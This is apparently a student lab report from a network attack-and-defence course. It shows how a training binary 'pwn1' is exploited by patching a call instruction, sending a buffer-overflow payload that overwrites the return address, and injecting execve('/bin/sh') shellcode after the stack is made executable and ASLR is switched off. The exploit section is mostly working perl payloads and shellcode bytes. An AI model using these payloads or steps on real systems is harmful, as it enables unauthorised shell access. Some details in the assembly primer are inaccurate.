20232810 2023-2024-2 《网络攻防实践》实验九

news2024/11/17 23:53:45

一、实践内容

1.1 反汇编

1.1.1 编程原理

编程的原理是一套指导软件开发和维护的概念、原则和实践,包括抽象以简化复杂系统、模块化以分解程序、封装以隐藏内部状态、继承以共享特性、多态以允许不同响应、算法和数据结构以组织计算和存储、控制结构以控制流程、错误处理以确保健壮性、测试以验证正确性、性能优化以提高效率、可维护性和可读性以保证代码质量、重构以改善内部结构、设计模式以解决常见问题、并发和分布式系统以处理多任务和多节点、安全性以保护程序和数据、以及版本控制和持续集成/部署以优化开发流程。

1.1.2 折叠编辑本段作用及方式

折叠编辑本段的作用是通过隐藏代码的次要部分来提高代码的可读性和组织性,其方式通常是通过编辑器提供的点击或快捷键操作实现,允许开发者选择性地展开或收起代码段。

1.1.3 折叠静态反汇编

折叠静态反汇编是指在分析程序的反汇编代码时,将重复或不重要的指令序列进行折叠隐藏,以便更清晰地查看和分析关键的程序逻辑和结构。

1.1.4 折叠编辑本段相关工具

折叠编辑本段的相关工具通常是集成在代码编辑器或集成开发环境(IDE)中的,它们允许开发者通过点击代码块旁边的图标或使用快捷键来折叠(隐藏)或展开(显示)代码段,以提高代码的可读性和编辑效率。

1.2 一些汇编指令的机器码

NOP (No Operation) - 无操作,通常用作占位符或延迟。
机器码:0x90
MOV (Move) - 将数据从一个位置移动到另一个位置。
示例:将立即数 123 移动到寄存器 AX。
机器码:B8 7B 00 00 00
ADD (Add) - 将两个数相加。
示例:将寄存器 AL 和 BL 相加,结果存回 AL。
机器码:00 D8
SUB (Subtract) - 减法操作。
示例:将寄存器 BL 的内容从 AL 中减去。
机器码:2A C3
JMP (Jump) - 无条件跳转到指定地址。
示例:跳转到内存地址 0x1000。
机器码:EB 18 (相对跳转) 或 E9 XX XX XX XX (绝对跳转)

1.3 补码

补码(Two’s Complement)是一种用于表示整数的计算机编码方式,它允许负数的表示和简化了加法与减法的计算。在补码系统中,正数的表示与其原码(即直接的二进制表示)相同,而负数的表示为其绝对值的二进制表示取反(即每一位取0变1,取1变0)后加1。
补码的主要特点包括:

  1. 负数表示:一个数的补码是该数的相反数的二进制表示加1。
  2. 加法通用:补码允许使用相同的硬件电路执行加法操作,无论是处理有符号数还是无符号数的加法。
  3. 溢出检测:在补码表示中,加法溢出可以通过检查结果的最高位是否与次高位相同来检测。
  4. 减法转换:减法可以通过转换为加法来执行,即a - b可以表示为a + (-b),其中-bb的补码。
  5. 范围:在n位补码表示中,可以表示的范围是-2(n-1)到2(n-1)-1。
    补码是现代计算机中使用最广泛的整数表示方法,因为它简化了算术运算的硬件实现,并且使得负数的表示和运算更加直观。

1.4 本次实验内容

1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实践过程

2.1 手工修改可执行文件

为实现方便在另外的Ubuntu虚拟机中实现

1、首先将 kali 虚拟机名称由abc-virtual-machine改为xf(临时修改)。

2、在学习通下载pwn1文件到abc-virtual-machine里面。
在这里插入图片描述
3、输入objdump -d pwn1 | more,对pwn1文件进行反汇编。
在这里插入图片描述
4、往下找可以找到getShellfoomain函数。
在这里插入图片描述
在上图中,可以看到main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。
三者关系:80484ba + d7 ff ff ff = 08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址(上图中有)即可。用上述关系计算:804847d - 80484ba = c3 ff ff ff。可得要修改的机器指令为:e8 c3 ff ff ff
5、下面进行修改
(1)用 cp pwn1 pwn20232810 对pwn1文件进行保护,防止破坏,然后输入 vi pwn20232810 对 pwn20232810文件进行修改。
在这里插入图片描述
在这里插入图片描述
(2)上图中的源代码格式修改起来不太容易,按esc键并输入 :%!xxd 将其变为16进制。(没有xxd的话要先安装)
在这里插入图片描述
(3)然后 :wq 保存退出,查看文件权限 ls -l
在这里插入图片描述
(4)再次进入pwn20232810文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
在这里插入图片描述
(5)输入 :%!xxd -r 还原为原格式后,:wq 保存退出。
在这里插入图片描述
在这里插入图片描述
(6)此处验证一下 objdump -d pwn20232810 | more 定位过去发现已经成功修改。
在这里插入图片描述
(7)重新运行一下pwn1文件和pwn20231906,看文件功能是否改变。
在这里插入图片描述
攻击成功。
在这里插入图片描述

2.2 构造输入字符串

再次使用objdump -d pwn20232810 | more 命令反编译文件观察foo函数,系统仅预留了 28(0x1c)字节的缓冲区,当输入的字符串长度过长将发生缓冲区溢出,我们的目标是输入一个长字符串使其溢出,覆盖返回地址。
输入命令行 gdb pwn1 对文件pwn1进行调试,再输入r运行。输入长字符串1111111122222222333333334444444455555555。
在这里插入图片描述
在这里插入图片描述
可以看到eip的值为0x35353535 ,即 5555 的 ASCII码。
输入长字符串1111111122222222333333334444444412345678,看到第33-36字节1234将覆盖到堆栈上的返回地址。
在这里插入图片描述
再次确认getShell的内存地址为0804847d。
在这里插入图片描述
所以要构造的长字符串第33-36字节为0x7d840408。
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231906
输入命令 xxd 20231906 查看文件的内容是否如预期。
在这里插入图片描述
输入 命令 (cat 20231906; cat) | ./pwn1,将20231906的输入作为pwn1的输入。可以看到攻击成功。
在这里插入图片描述

2.3注入shellcode并运行

安装execstack。
输入 execstack -s pwn1 设置堆栈可执行。
输入 execstack -q pwn1 查询文件的堆栈是否可执行。
在这里插入图片描述
输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化。
在这里插入图片描述
使用输出重定向将perl生成的字符串存储到文件中 perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20232810
在这里插入图片描述
输入 (cat input_20232810;cat) | ./pwn1 注入攻击。
在这里插入图片描述
再打开另一个终端,输入ps -ef | grep pwn1 查看pwn1的进程号。
在这里插入图片描述
可以看到进程号为3624。
输入 gdb pwn1进行gdb 调试,输入 attach 3624查看pwn1进程。
在这里插入图片描述
输入 disassemble foo,对foo进行反编译。
在这里插入图片描述
接着输入 break *0x080484ae 在 0x080484ae 处设置断点。
在这里插入图片描述
在第一个终端按下回车,在第二个终端输入 c 。
输入 info r esp 查看栈顶指针所在的位置为 0xffffd5bc,输入命令 x/16x 0xffffd5bc查看存放内容。
在这里插入图片描述
在这里插入图片描述
看到 0xffffd5bc 中有0x04030201,就是返回地址的位置。计算ffffd5bc+00000004=ffffd5c0。
输入命令perl -e ‘print “A” x 32;print “\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20232810 重新构造shellcode内容。
然后输入(cat input_20232810;cat) | ./pwn1命令再次运行,可以看到攻击成功。
在这里插入图片描述

三、学习中遇到的问题及解决

1、问题:在实验一中,用 :%!xxd 修改源代码格式,提示没有 xxd 指令
解决方法:使用 apt-get install xxd 安装 xxd(用桥接模式下载)

四、学习感想和体会

同时通过这次实验,让我对Linux系统的使用更加熟悉,对Linux的各种命令有了更深入的了解。实验过程中虽说遇到了许多问题,但这样的情况已经习惯了,只要用心解决,办法总比困难多。

五、参考资料

https://blog.csdn.net/WangLal/article/details/113100071
https://www.cnblogs.com/WangAoBo/p/6563760.html
https://blog.csdn.net/m0_65266036/article/details/129678551
https://www.cnblogs.com/daijunxi2019/p/15994636.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1676095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UVa11419 SAM I AM

UVa11419 SAM I AM 题目链接题意分析AC 代码 题目链接 UVA - 11419 SAM I AM 题意 给出一个 RC 大小的网格,网格上面放了一些目标。可以在网格外发射子弹,子弹会沿着垂直或者水平方向飞行,并且打掉飞行路径上的所有目标,如下图所…

System V IPC(进程间通信)机制详解

文章目录 一、引言二、System V IPC的基本概念1、IPC结构的引入2、IPC标识符(IPC ID)3、S ystem V的优缺点 三、共享内存(Shared Memory)1、共享内存的基本概念2、共享内存的创建(shmget)3、共享内存的附加…

深入探索Android签名机制:从v1到v3的演进之旅

引言 在Android开发的世界中,APK的签名机制是确保应用安全性的关键环节。随着技术的不断进步,Android签名机制也经历了从v1到v3的演进。本文将带你深入了解Android签名机制的演变过程,揭示每个版本背后的技术细节,并探讨它们对开…

企业如何通过云服务器实现全球连通运营

如果说互联网是一座桥,连接起了全球各地的信息,那云服务器就如同一座高速公路,帮助企业轻松实现跨国家、跨时区的全球运营。 这个听起来像科幻电影的情节其实已经成为了我们现实生活的一部分。现在就来具体看一下如何做到这一点吧。 其一&…

Django开发实战之定制管理后台界面及知识梳理(中)

上一篇文章末尾讲到如何能够展示更多的字段在界面上,那么针对整个界面数据,如果我想按照某一个条件进行筛选,我该怎么做呢,只需要加上下面一行代码 注意:中途只有代码片段,文末有今天涉及的所有代码 1、增…

RuoYi-Vue-Plus (Logback 和 logback-plus.xml 、p6spy)

项目后本地日志 一、logback依赖 打开最外层的 pom.xml,查看 SpringBoot的依赖配置。 <dependencyManagement><dependencies><!-- SpringBoot的依赖配置--><dependency><groupId>org.springframework.boot</groupId><artifactId>s…

视频汇聚管理/安防监控系统EasyCVR如何开启和调用验证码登录接口?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。视频汇聚融合管理平台EasyCVR既具备传统安防视…

项目实施方案:多点异地机动车典型系统试验状态可视监控系统

目录 一、需求分析 1.1项目背景 1.2项目概述 二、系统优势 2.1兼容性能力强 2.2接入协议多样 2.3并发能力强 2.3.1 单平台参数 2.3.2 多平台性能参数 2.4 系统稳定性 三、建设目标 3.1安全性 3.2可扩展性 3.3易用性 3.4兼容性 3.5 响应能力 四、系统整体解决方…

C#窗体程序设计笔记:如何调出控件工具箱,并设置控件的属性

文章目录 调出控件工具箱设置控件属性 调出控件工具箱 使用Visual Studio打开C#解决方案后&#xff0c;初始界面如下图所示&#xff1a; 接着&#xff0c;在上方的菜单栏依次选择“视图”“工具箱”&#xff0c;即可打开工具箱&#xff0c;如下图所示&#xff1a; 设置控件属…

Service Worker的生命周期和全局对象和API

Service Worker的生命周期和全局对象和API 当我们注册了Service Worker后&#xff0c;它会经历生命周期的各个阶段&#xff0c;同时会触发相应的事件。整个生命周期包括了&#xff1a;installing --> installed --> activating --> activated --> redundant。当Se…

vue2人力资源项目6角色管理

elementUi编写表格样式及分页组件 <template><div class"container"><div class"app-container"><!--角色管理内容--><div class"role-operate"><el-button type"primary">添加角色</el-butt…

高级个人主页

高级个人主页 效果图部分代码领取源码下期更新预报 效果图 部分代码 <!DOCTYPE html> <html lang"en"><head><meta charset"utf-8" name"viewport" content"widthdevice-width, initial-scale1, maximum-scale1, use…

2024年3月 电子学会 青少年等级考试机器人理论真题五级

202403 青少年等级考试机器人理论真题五级 第 1 题 下图程序运行后&#xff0c;串口监视器显示的结果是&#xff1f;&#xff08; &#xff09; A&#xff1a;0 B&#xff1a;1 C&#xff1a;3 D&#xff1a;4 第 2 题 下列选项中&#xff0c;关于74HC595移位寄存器芯片的…

【ARM Cortex-M 系列 2.3 -- Cortex-M7 Debug event 详细介绍】

请阅读【嵌入式开发学习必备专栏】 文章目录 Cortex-M7 Debug eventDebug events Cortex-M7 Debug event 在ARM Cortex-M7架构中&#xff0c;调试事件&#xff08;Debug Event&#xff09;是由于调试原因而触发的事件。一个调试事件会导致以下几种情况之一发生&#xff1a; 进…

2024第16届四川教育后勤装备展6月1日举办 欢迎参观

2024第16届四川教育后勤装备展6月1日举办 欢迎参观 邀请函 主办单位&#xff1a; 中国西部教体融合博览会组委会 承办单位&#xff1a;重庆港华展览有限公司 博览会主题&#xff1a;责任教育 科教兴邦 组委会&#xff1a;交易会159交易会2351交易会9466 展会背景 成都…

matlab使用2-基础绘图

matlab使用2-基础绘图 文章目录 matlab使用2-基础绘图1. 二维平面绘图2. 三维立体绘图3. 图形窗口的分割 1. 二维平面绘图 % 创建一些二维数据 x 0:0.01:10; % x轴的数据点&#xff0c;从0到10&#xff0c;间隔为0.01 y sin(x); % y轴的数据点&#xff0c;是x的正弦…

实时“秒回”,像真人一样语音聊天,GPT-4o模型强到恐怖

今天凌晨OpenAl发布了 GPT-4o&#xff0c;这是一种新的人工智能模式&#xff0c;集合了文本、图片、视频、语音的全能模型。 能实时响应用户的需求&#xff0c;并通过语音来实时回答你&#xff0c;你可以随时打断它。还具有视觉能力&#xff0c;能识别物体并根据视觉做出快速的…

基准电流源电路仿真

1.补全电路 2.更改vpluse属性 3.添加tran仿真&#xff0c;因为加入启动电路主要看的就是tran仿真 4.启动仿真 5.看电路曲线 先点这个main form 不用选择ok&#xff0c;直接点中四条线&#xff0c;中间第2条曲线如果出现那样一个小波动后面没有起伏就说明成功了。

什么是Keycloak?怎么样使用Keycloak实现登录和权限验证?

什么是Keycloak&#xff1f;怎么样使用Keycloak实现登录和权限验证&#xff1f; 文章目录 什么是Keycloak&#xff1f;怎么样使用Keycloak实现登录和权限验证&#xff1f;Open Source Identity and Access Management(开源身份和访问管理)1、支持的协议&#xff1a;2、安装与部…

如何在 Mac 上恢复已删除的文件

点击“删除”后立即后悔&#xff1f;不用担心。我们的教程介绍了如何恢复已删除的 Mac 文件、电子邮件、iTunes 音乐等&#xff0c;即使您没有 Time Machine 备份并且无需支付软件费用。 在 macOS 中丢失文件可能会非常痛苦&#xff0c;如果您是点击删除的人&#xff0c;情况会…